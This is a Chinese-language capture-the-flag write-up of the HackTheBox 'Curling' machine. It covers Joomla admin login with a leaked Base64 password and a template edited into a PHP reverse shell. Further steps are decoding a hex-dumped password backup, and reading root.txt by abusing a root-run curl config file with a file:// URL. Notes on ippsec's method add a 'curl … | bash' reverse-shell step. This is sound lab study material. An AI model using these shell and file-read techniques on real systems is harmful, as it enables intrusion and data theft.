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获得这个box的user很容易，root.txt也其实不难，但是如何获得root shell还有待研究。总之，先记录下过程。

用Nmap + Nikto对目标机进行扫描。

系统用的是Joomla! 3.8.8，且发现了admin登陆页面/administrator/index.php。不需要exploit这个界面，因为80端口上的网

页源代码中提示了有secret.txt。

Base64解码后得到Curling2018!，看起来是个密码，但不知道username是什么。

浏览一下网页，发现这段话written by super user，并且后面署名Floris，看起来Floris就是我要的username。
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在admin页面用Floris + Curling2018!成功登录，可以浏览并修改Joomla!的配置。在Extensions - Templates - Templates
下，选择一个template，我选择了Beez3。然后可以修改比如index.php的内容，把它改成reverse shell的php。这样访
问/beez3/index.php可以得到一个shell。

这个shell的user是www-data，权限很少，无法访问user.txt。不过可以下载另一个叫password_backup的文件。

它是一个hex dump，用xxd -r 逆向成binary，结果是一个bzip文件。再用bzip2进行解压，得到password。

得到的password属于用户floris，用ssh登录远程主机。

/home/floris下还有一个admin-area的目录，里面有两个文件input和report。floris对这两个文件都有读写权限。于是可以联
想到这是获取root的突破口。事实上我做了很多enumeration，都没什么发现，才转回来研究这两个文件。

input是一个文本，内容为url = "http://127.0.0.1"。report内容和网站的首页是一样的。尝试修改input，比如改成url =
"http://127.0.0.1/secret.txt"，访问目标机80端口后，发现report变成了secret.txt的内容。此时有理由怀疑report会返回input
中所指的url的内容。



于是修改input为url = "file:///root/root.txt"，访问目标机80端口，在report中看到了root.txt的内容。
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更新：以下为自己整理的ippsec对这个Box的思路。

1. Cewl: a Custom Word List generator. https://github.com/digininja/CeWL

1. Get a word list from a webpage: cewl -w cewl.out [IP]

2. Joomla! is a free and open-source content management system for publishing web content. joomscan is a Joomla
vulnerability scanner.

1. joomscan --url http://10.10.10.150 -ec | tee joomscan.out

3. Manually enumerate Joomla version: http://[IP]/administrator/manifests/files/joomla.xml

4. Use wfuzz to fuzz the admin page.

5. After login, find a way to edit the templates. To get a shell:

1. Upload cmd.php

2. Put a reverse shell (e.g. bash) behind the SimpleHTTPServer.

3. Listen on a port bond with the reverse shell.

4. Use cmd.php to call the reverse shell (curl … | bash)

6. To get an up-key in remote shell:

1. python pty.

2. Background the session.

3. Run this: stty raw -echo

4. Back to the session.

5. export TERM=xterm

7. To reverse a hex dump: xxd -r [file] > output

8. bzcat: bzip2 decompress    zcat: gzip decompress    tar -xf: tar decompress

9. Or we can use gchq CyberChef to do the decompression.

10. curl file:///etc/passwd     curl -K input -o output    And some magic to get root shell with curl. Check out ippsec’s video and
there is a timestamp.

11. Places to find LFI: /var/spool/cron/crontabs(/root)    /var/log/syslog

12. Pspy is a tool to show when processes start/end.
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